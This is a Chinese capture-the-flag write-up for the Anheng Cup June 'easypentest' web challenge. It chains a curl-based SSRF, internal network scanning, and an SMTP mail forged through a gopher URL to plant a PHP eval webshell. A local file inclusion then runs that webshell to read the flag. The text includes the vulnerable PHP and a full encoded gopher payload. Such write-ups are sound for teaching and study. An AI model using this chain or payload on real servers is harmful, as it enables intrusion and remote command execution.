安恒杯6月赛web2 easypentest
安恒杯6月赛 easypentest
安恒月赛一般有时间才做,不过这道题做得很有趣,便写下Wp。
进入题目可以看到高亮php代码:
<?php
highlight_file(__FILE__);
$x = $_GET['x'];
$pos = strpos($x,"php");
if($pos){
exit("denied");
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"$x");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
echo $result;
明显的ssrf,对url没有过多的过滤,只是不能输入php字符。
扫目录可以扫到flag.php,这给人以很大的误导,以为flag就在本机上,让人无法自然而然的往内网渗透方向想(当然其实flag并不在这台机子上)。
因为curl的url没怎么过滤,也可以使用file协议,读服务器上的/etc/hosts可以看到自己的ip

用burp扫ip段,得到内网一台主机172.18.0.2的80端口打开了,继续扫端口可以发现该内网主机25端口打开了。

http协议访问内网主机80端口,发现了LFI的提示,本来以为又是读文件找信息,原来后面还有其他用处。

这台内网主机里面搜集到的有用的信息不多。回到刚才发现的25端口,尝试发现它运行在25端口上面的smtp服务器运行正常。
虽然我对linux邮件系统不是很熟悉,但我知道某些程序比如CRONTAB会将定时任务执行时的错误以邮件形式发给对应用户。这意味着,如果我能伪造一封邮件发给www-data用户(只有本用户能看到自己邮件的内容),在邮件内容中写入php马,那么再用LFI包含它就可以执行命令了。(但我还是有些犹豫的,因为发送邮件之前我并没有在www-data的邮件中看到曾经有人发送的邮件,而知道题已经是被做出来了)
首先需要伪造发送邮件。在/etc/passwd中我看到了postfix用户,猜测是使用它搭建的mail系统,自己尝试搭建,查资料它的配置文件在/etc/postfix/main.cf
。按照同样的配置,使用telnet连接尝试发送邮件


如上所示,比较重要的就是FROM 和 TO,@后面的指的就是处理它的邮件服务器,按照配置文件,只能是mydestination中的一个.
此时,只要抓telnet和smtp服务器通讯包,然后用gopher协议重放发给服务器就行。
这里要注意的是,gopher数据x需要二次url编码(不可见字符在服务器接收到之后已经解url编码一次了,而且在邮件内容的php马中会存在php字符串,不编码会被ban)
gopher://172.18.0.2:25/_%4d%41%49%4c%25%32%30%46%52%4f%4d%3a%68%68%68%25%34%30%64%64%34%30%38%38%32%62%61%30%65%61%25%30%41%52%43%50%54%25%32%30%54%6f%3a%77%77%77%2d%64%61%74%61%25%34%30%6c%6f%63%61%6c%68%6f%73%74%25%30%41%44%41%54%41%25%30%41%46%72%6f%6d%3a%68%68%68%25%34%30%64%64%34%30%38%38%32%62%61%30%65%61%25%30%41%53%75%62%6a%65%63%74%3a%68%68%68%68%68%25%30%41%4d%65%73%73%61%67%65%3a%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%34%37%25%34%35%25%35%34%25%35%62%25%33%31%25%35%64%25%32%39%25%33%62%25%32%30%25%33%66%25%33%65%25%30%41%2e
发送(没有返回报错即代表发过去了)

此时包含并查看邮件

接下来执行一些命令,就能发现flag在这台机子的根目录下,读取(上面发了那么多邮件,就是因为忘了给&
符号url编码就以为马没写进去。。。)
